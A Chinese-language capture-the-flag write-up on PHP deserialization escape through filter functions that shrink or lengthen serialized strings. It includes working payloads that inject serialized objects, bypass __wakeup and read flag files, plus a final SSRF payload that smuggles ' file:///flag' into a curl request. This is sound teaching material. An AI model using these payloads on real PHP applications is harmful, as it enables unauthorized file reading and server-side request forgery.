反序列化逃逸的出現是因為php反序列化函數在進行反序列化操作時,並不會稽核字串中的內容,所以我們可以操縱屬性值,使得反序列化提前結束。
反序列化逃逸題一般都是存在一個filter函數,這個函數看似過濾了敏感字串,其實使得程式碼的安全性有所降低;並且分為filter後字串加長以及字串變短兩種情況,這兩種情況有著不同的處理方式。
例如這段程式碼:
<?php
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
$ab=array('user'=>'flagflagflag','1'=>'1');
echo filter(serialize($ab));
?>
本來反序列化的結果為:a:2:{s:4:"user";s:12:"flagflagflag";i:1;s:1:"1";}
但是因為敏感字串替換變成了:a:2:{s:4:"user";s:12:"";i:1;s:1:"1";}
這樣在反序列化時,就導致了原先的鍵值flagflagflag
被現在的12個字元";i:1;s:1:"1
替換了。導致函數誤以為鍵user
的值為";i:1;s:1:"1
。
但是同時這裡確定了有兩個類,所以要想反序列化成功,則需要讓原來鍵1對應值再包含一個類,這樣就能夠填補前面被覆蓋的1鍵值的空缺;i:1;s:1:"1"
應該是i:1;s:13:"1";i:2;s:1:"2"
,即過濾後字串為:a:2:{s:4:"user";s:13:"";i:1;s:13:"1";i:2;s:1:"2";}
下面通過兩道題實際應用一下該漏洞。
程式碼:
<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
分析程式碼,首先filter
函數實現了一個替換字串中敏感字元為空的操作。
然後對$__SESSION進行了設定,但是下面出現了一個extract($_POST);
。在Php中extract
函數實現一個提取陣列中鍵值並覆蓋原陣列的功能。也就是說,雖然上面設定了user鍵的內容,但是如果POST變數中不存在user鍵,那麼更新後的$__SESSION中則不包含user鍵。
下面又進行了img鍵值的設定,並將序列化後的字串傳入filter中進行過濾。
思路
首先肯定是需要檢視phpinfo()中的檔案;然後應該是通過更改$__SESSION陣列實現反序列化讀檔案。
存取Phpinfo:
得到了一個提示,包含了d0g3_f1ag.php檔案。說明我們需要存取這個php檔案。
讀檔案:
當我們GET請求中設定img_path變數時,勢必會觸發sha1
函數,這樣我們無法讀取正常的路徑;但是不設定img_path更無法得到檔案內容。於是思考這個反序列化。因為反序列化後的字串會經過filter函數處理,那能不能通過故意引入敏感字串,使得序列化後的字串改變,從而在反序列時得到我們想要的輸出呢?
payload
在本題中因為將敏感字串替換為空,所以是字串變短的情況。
首先f
的值需要為show_image
;其次我們需要覆蓋img
鍵對應的值為d0g3_f1ag.php
的編碼值:ZDBnM19mMWFnLnBocA==
。也就是說我們構造的字串中要包括:s:3:"img";s:20:"ZDBnM19mMWFnLnBocA=="
,並且讓該字串前面的序列化內容正好被敏感字元過濾的坑位吃掉。同時,為了覆蓋最後系統賦值的img
,我們在字串後面還要加一個類。
_SESSION[test]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";i:1;s:1:"2";}
其過濾後的序列化結果為:
原本的紅線部分作為了現在func
鍵的值。
抓包:
注意_SESSION陣列修改方式不包含$符號與引號(不要按照Php格式寫就行,這裡笨了)。
繼續:
說明要繼續讀取:/d0g3_fllllllag
=>L2QwZzNfZmxsbGxsbGFn
payload:
_SESSION[user]=phpphpphpphpphpphpflag&_SESSION[function]=;s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";i:1;s:1:"2";}
題目程式碼:
<?php
// php版本:5.4.44
header("Content-type: text/html; charset=utf-8");
highlight_file(__FILE__);
class evil{
public $hint;
public function __construct($hint){
$this->hint = $hint;
}
public function __destruct(){
if($this->hint==="hint.php")
@$this->hint = base64_encode(file_get_contents($this->hint));
var_dump($this->hint);
}
function __wakeup() {
if ($this->hint != "╭(●`∀´●)╯") {
//There's a hint in ./hint.php
$this->hint = "╰(●’◡’●)╮";
}
}
}
class User
{
public $username;
public $password;
public function __construct($username, $password){
$this->username = $username;
$this->password = $password;
}
}
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
$tmp = "test";
$username = $_POST['username'];
$password = $_POST['password'];
$a = serialize(new User($username, $password));
if(preg_match('/flag/is',$a))
die("NoNoNo!");
unserialize(read(write($a)));
首先為了能夠存取hint.php,我們需要繞過__wakeup()
函數,不然hint變數會被賦值為表情符號。
__wakeup()
。O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}
,這裡只有一個屬性。我們將其改為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
其次,為了反序列化後的結果為evil類,需要進行反序列化逃逸,因為無法使用username=new evil()然後在User類的__construct()
函數建立evil類的辦法。
我們需要使得User中的username或者password屬性為O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}
分析write()
和read()
函數可以發現,chr(0)對應的是空字元,一般我們提供的字串中不會包含空字元;但是我們可以讓字串中包含\0\0\0從而在read()
函數中實現替換,使得字串變短一半。這裡需要注意chr(0)雖然是空字串,但是其也佔了一個長度,所以從'\0\0\0'到chr(0).*.chr(0)其實是字串縮短了一半。
正常的User類序列化之後為O:4:"User":2:{s:8:"username";s:8:"hint.php";s:8:"password";s:4:"test"}
。如果我們讓username中包含許多\0,從而字串變短後吞掉後面的"s:8:"password";s:4:"
共21個字串,但是同時因為我們的payload最後肯定是大於10的,所以password後面的s:4應該是兩位數而不是4,所以總共需要吞掉22個字元。
量子力學計算一下,我們需要24個\0,並且password中增加一寫字串,才能實現覆蓋22個字串。
測試:
<?php
class evil{
public $hint;
function __wakeup() {
echo $this->hint;
}
}
class User
{
public $username;
public $password;
public function __construct(){
$this->username = '\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'; #24
$this->password = ';";s:8:"password";O:4:"evil":1:{s:4:"hint";s:8:"hint.php";}}';
}
}
$a=new User();
echo serialize($a);
echo ' ';
function write($data){
global $tmp;
$data = str_replace(chr(0).'*'.chr(0), '\0\0\0', $data);
$tmp = $data;
}
function read(){
global $tmp;
$data = $tmp;
$r = str_replace('\0\0\0', chr(0).'*'.chr(0), $data);
return $r;
}
echo read(write(serialize($a)));
unserialize(read(write(serialize($a))))
?>
這樣會直接輸出字串hint.php。實際為了躲避__wakeup函數,evil的類變數需要設定為2。
payload:
username=\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0&password=;";s:8:"password";O:4:"evil":2:{s:4:"hint";s:8:"hint.php";}}
得到base64字串解碼:
<?php
$hint = "index.cgi";
// You can't see me~
直接存取後得到:
{ "args": { "name": "Bob" }, "headers": { "Accept": "*/*", "Host": "httpbin.org", "User-Agent": "curl/7.64.0", "X-Amzn-Trace-Id": "Root=1-656d4ec1-1bc041685ed0055f65124685" }, "origin": "114.67.175.224", "url": "http://httpbin.org/get?name=Bob" }
說明網站是向http://httpbin.org傳送了一個請求,那這裡就需要SSRF。
這裡我們可以向其傳參name引數,並且Agent裡面提示了,其使用的是curl進行傳送請求。
所以為了讀取flag,我們要使用file協定,但是這裡是向http://httpbin.org傳送請求。這裡使用空格截斷,這樣在curl同時可以實現向兩個url傳送請求(可以在本地命令列測試curl的用法)
payload:
?name= file:///flag
注意name後的空格。
如有錯誤敬請指正!